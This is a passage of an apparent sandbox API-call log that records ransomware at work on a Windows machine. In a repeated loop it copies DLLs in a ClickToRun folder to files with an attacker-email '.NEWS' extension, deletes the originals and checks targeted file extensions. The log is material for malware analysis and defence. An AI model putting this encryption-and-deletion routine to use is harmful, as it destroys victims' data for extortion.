(hObject=0x2f4) returned 1 [0081.770] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.770] SetEndOfFile (hFile=0x378) returned 1 [0081.771] CloseHandle (hObject=0x378) returned 1 [0081.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.771] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1 [0081.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0081.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0081.771] lstrlenW (lpString=".doc") returned 4 [0081.771] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.771] lstrlenW (lpString=".docx") returned 5 [0081.771] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.771] lstrlenW (lpString=".pdf") returned 4 [0081.771] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.772] lstrlenW (lpString=".xls") returned 4 [0081.772] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.772] lstrlenW (lpString=".xlsx") returned 5 [0081.772] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.772] lstrlenW (lpString=".ppt") returned 4 [0081.772] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0081.772] lstrlenW (lpString=".zip") returned 4 [0081.772] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.772] lstrlenW (lpString=".rar") returned 4 [0081.772] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.772] lstrlenW (lpString=".bz2") returned 4 [0081.772] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.772] lstrlenW (lpString=".7z") returned 3 [0081.772] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0081.772] lstrlenW (lpString=".dbf") returned 4 [0081.772] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0081.772] lstrlenW (lpString=".1cd") returned 4 [0081.772] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0081.772] lstrlenW (lpString=".jpg") returned 4 [0081.772] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0081.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0081.772] lstrlenW (lpString=".doc") returned 4 [0081.772] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.772] lstrlenW (lpString=".docx") returned 5 [0081.772] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.772] lstrlenW (lpString=".pdf") returned 4 [0081.772] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.772] lstrlenW (lpString=".xls") returned 4 [0081.772] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.772] lstrlenW (lpString=".xlsx") returned 5 [0081.772] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.773] lstrlenW (lpString=".ppt") returned 4 [0081.773] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0081.773] lstrlenW (lpString=".zip") returned 4 [0081.773] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.773] lstrlenW (lpString=".rar") returned 4 [0081.773] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.773] lstrlenW (lpString=".bz2") returned 4 [0081.773] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.773] lstrlenW (lpString=".7z") returned 3 [0081.773] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0081.773] lstrlenW (lpString=".dbf") returned 4 [0081.773] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0081.773] lstrlenW (lpString=".1cd") returned 4 [0081.773] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0081.773] lstrlenW (lpString=".jpg") returned 4 [0081.773] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.773] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0081.773] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33 [0081.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0081.774] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=70848) returned 1 [0081.774] CloseHandle (hObject=0x378) returned 1 [0081.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0081.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0081.774] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.774] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0081.774] GetLastError () returned 0x0 [0081.774] ReadFile (in: hFile=0x378, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x114c0, lpOverlapped=0x0) returned 1 [0081.777] WriteFile (in: hFile=0x2f4, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x114d0, lpOverlapped=0x0) returned 1 [0081.779] ReadFile (in: hFile=0x378, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.779] WriteFile (in: hFile=0x2f4, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x116, lpOverlapped=0x0) returned 1 [0081.779] SetEndOfFile (hFile=0x2f4) returned 1 [0081.779] CloseHandle (hObject=0x2f4) returned 1 [0081.781] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.781] SetEndOfFile (hFile=0x378) returned 1 [0081.782] CloseHandle (hObject=0x378) returned 1 [0081.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.783] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 1 [0081.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0081.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0081.783] lstrlenW (lpString=".doc") returned 4 [0081.783] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.783] lstrlenW (lpString=".docx") returned 5 [0081.783] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.783] lstrlenW (lpString=".pdf") returned 4 [0081.783] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.783] lstrlenW (lpString=".xls") returned 4 [0081.783] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.783] lstrlenW (lpString=".xlsx") returned 5 [0081.783] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.783] lstrlenW (lpString=".ppt") returned 4 [0081.783] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0081.783] lstrlenW (lpString=".zip") returned 4 [0081.783] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.783] lstrlenW (lpString=".rar") returned 4 [0081.783] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.783] lstrlenW (lpString=".bz2") returned 4 [0081.783] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.784] lstrlenW (lpString=".7z") returned 3 [0081.784] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0081.784] lstrlenW (lpString=".dbf") returned 4 [0081.784] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0081.784] lstrlenW (lpString=".1cd") returned 4 [0081.784] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0081.784] lstrlenW (lpString=".jpg") returned 4 [0081.784] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0081.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0081.784] lstrlenW (lpString=".doc") returned 4 [0081.784] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.784] lstrlenW (lpString=".docx") returned 5 [0081.784] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.784] lstrlenW (lpString=".pdf") returned 4 [0081.784] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.784] lstrlenW (lpString=".xls") returned 4 [0081.784] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.784] lstrlenW (lpString=".xlsx") returned 5 [0081.784] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.784] lstrlenW (lpString=".ppt") returned 4 [0081.784] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0081.784] lstrlenW (lpString=".zip") returned 4 [0081.784] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.784] lstrlenW (lpString=".rar") returned 4 [0081.784] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.784] lstrlenW (lpString=".bz2") returned 4 [0081.784] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.784] lstrlenW (lpString=".7z") returned 3 [0081.784] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0081.785] lstrlenW (lpString=".dbf") returned 4 [0081.785] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0081.785] lstrlenW (lpString=".1cd") returned 4 [0081.785] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0081.785] lstrlenW (lpString=".jpg") returned 4 [0081.785] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.785] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0081.785] lstrlenW (lpString="api-ms-win-crt-process-l1-1-0.dll") returned 33 [0081.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0081.785] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=19648) returned 1 [0081.786] CloseHandle (hObject=0x378) returned 1 [0081.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20 [0081.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0081.786] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.786] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0081.787] GetLastError () returned 0x0 [0081.787] ReadFile (in: hFile=0x378, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0082.365] WriteFile (in: hFile=0x2f4, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0082.366] ReadFile (in: hFile=0x378, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.366] WriteFile (in: hFile=0x2f4, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x116, lpOverlapped=0x0) returned 1 [0082.366] SetEndOfFile (hFile=0x2f4) returned 1 [0082.367] CloseHandle (hObject=0x2f4) returned 1 [0082.368] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.368] SetEndOfFile (hFile=0x378) returned 1 [0082.369] CloseHandle (hObject=0x378) returned 1 [0082.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0082.369] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 1 [0082.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0082.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0082.369] lstrlenW (lpString=".doc") returned 4 [0082.369] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.370] lstrlenW (lpString=".docx") returned 5 [0082.370] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0082.370] lstrlenW (lpString=".pdf") returned 4 [0082.370] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.370] lstrlenW (lpString=".xls") returned 4 [0082.370] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.370] lstrlenW (lpString=".xlsx") returned 5 [0082.370] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0082.370] lstrlenW (lpString=".ppt") returned 4 [0082.370] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0082.370] lstrlenW (lpString=".zip") returned 4 [0082.370] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.370] lstrlenW (lpString=".rar") returned 4 [0082.370] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.370] lstrlenW (lpString=".bz2") returned 4 [0082.370] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.370] lstrlenW (lpString=".7z") returned 3 [0082.370] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0082.370] lstrlenW (lpString=".dbf") returned 4 [0082.370] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0082.370] lstrlenW (lpString=".1cd") returned 4 [0082.370] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0082.370] lstrlenW (lpString=".jpg") returned 4 [0082.370] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0082.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0082.370] lstrlenW (lpString=".doc") returned 4 [0082.370] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.370] lstrlenW (lpString=".docx") returned 5 [0082.370] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0082.370] lstrlenW (lpString=".pdf") returned 4 [0082.370] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.371] lstrlenW (lpString=".xls") returned 4 [0082.371] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.371] lstrlenW (lpString=".xlsx") returned 5 [0082.371] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0082.371] lstrlenW (lpString=".ppt") returned 4 [0082.371] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0082.371] lstrlenW (lpString=".zip") returned 4 [0082.371] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.371] lstrlenW (lpString=".rar") returned 4 [0082.371] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.371] lstrlenW (lpString=".bz2") returned 4 [0082.371] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.371] lstrlenW (lpString=".7z") returned 3 [0082.371] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0082.371] lstrlenW (lpString=".dbf") returned 4 [0082.371] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0082.371] lstrlenW (lpString=".1cd") returned 4 [0082.371] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0082.371] lstrlenW (lpString=".jpg") returned 4 [0082.371] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.371] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.371] lstrlenW (lpString="AppvIsvStream64.dll") returned 19 [0082.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0082.372] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=473760) returned 1 [0082.372] CloseHandle (hObject=0x378) returned 1 [0082.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0082.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0082.372] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.372] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0082.372] GetLastError () returned 0x0 [0082.372] ReadFile (in: hFile=0x378, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x73aa0, lpOverlapped=0x0) returned 1 [0082.382] WriteFile (in: hFile=0x2f4, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x73ab0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x73ab0, lpOverlapped=0x0) returned 1 [0082.390] ReadFile (in: hFile=0x378, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, 